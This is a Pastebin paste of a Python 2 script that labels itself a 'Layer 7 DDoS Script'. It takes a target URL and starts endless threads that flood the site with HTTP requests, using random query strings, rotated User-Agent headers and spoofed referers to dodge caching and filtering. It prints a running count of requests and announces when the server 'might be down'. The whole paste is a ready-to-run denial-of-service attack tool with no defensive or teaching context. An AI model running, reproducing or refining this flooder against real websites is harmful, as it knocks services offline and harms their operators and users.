Advertisement
Zoodel4

layer 7 python

Jan 25th, 2020
1,344
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.76 KB | None | 0 0
  1. import os
  2. import sys
  3. import urllib2
  4. import threading
  5. import random
  6. from banner import access
  7.  
  8. ########################################
  9. # Layer 7 #
  10. ########################################
  11. # DDoS Script #
  12. ########################################
  13.  
  14. """
  15. Abel
  16. --------------------------------------------------
  17.  
  18.  
  19.  
  20.  
  21. """
  22.  
  23.  
  24. if sys.platform == "linux" or sys.platform == "linux2":
  25. os.system("clear")
  26. elif sys.platform == "win32":
  27. os.system("cls")
  28.  
  29. access.asciibanner()
  30. print ("\033[1;32m")
  31. url = raw_input(" URL: ").strip()
  32. print ("\033[1;m")
  33.  
  34. count = 0
  35. headers = []
  36. referer = {
  37. "https://duckduckgo.com/",
  38. "https://www.google.com/",
  39. "https://www.youtube.com"
  40. }
  41.  
  42.  
  43. def useragent():
  44. global headers
  45. headers.append("Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152)")
  46. headers.append("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)")
  47. headers.append("Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36")
  48. headers.append("Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3")
  49.  
  50. return headers
  51.  
  52.  
  53. def ascii(size):
  54. out_str = ''
  55.  
  56. for e in range(0, size):
  57. code = random.randint(65, 90)
  58. out_str += chr(code)
  59.  
  60. return out_str
  61.  
  62.  
  63. class httpth1(threading.Thread):
  64. def run(self):
  65. global count
  66. while True:
  67. try:
  68. #print ("\033[1;32m Attacking Website \033[1;m")
  69. req = urllib2.Request(url + "?" + ascii(random.randint(3, 10)))
  70. #req = urllib2.Request(url)
  71. req.add_header("User-Agent", random.choice(useragent()))
  72. #req.add_header("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3")
  73. req.add_header("Referer", referer)
  74. urllib2.urlopen(req)
  75. count += 1
  76. print ("{0} Pure Dos Send".format(count))
  77. except urllib2.HTTPError:
  78. print ("\033[1;34m SERVER MIGHT ME DOWN \033[1;m")
  79. pass
  80. except urllib2.URLError:
  81. print ("\033[1;34m URLERROR \033[1;m")
  82. sys.exit()
  83. except ValueError:
  84. print ("\033[1;34m [-]Check You're URL \033[1;m")
  85. sys.exit()
  86. except KeyboardInterrupt:
  87. exit("\033[1;34m [-]Canceled By User \033[1;m")
  88. sys.exit()
  89.  
  90.  
  91. while True:
  92. try:
  93. th1 = httpth1()
  94. th1.start()
  95. except Exception:
  96. pass
  97. except KeyboardInterrupt:
  98. exit("\033[1;34m [-]Canceled By User \033[1;m")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement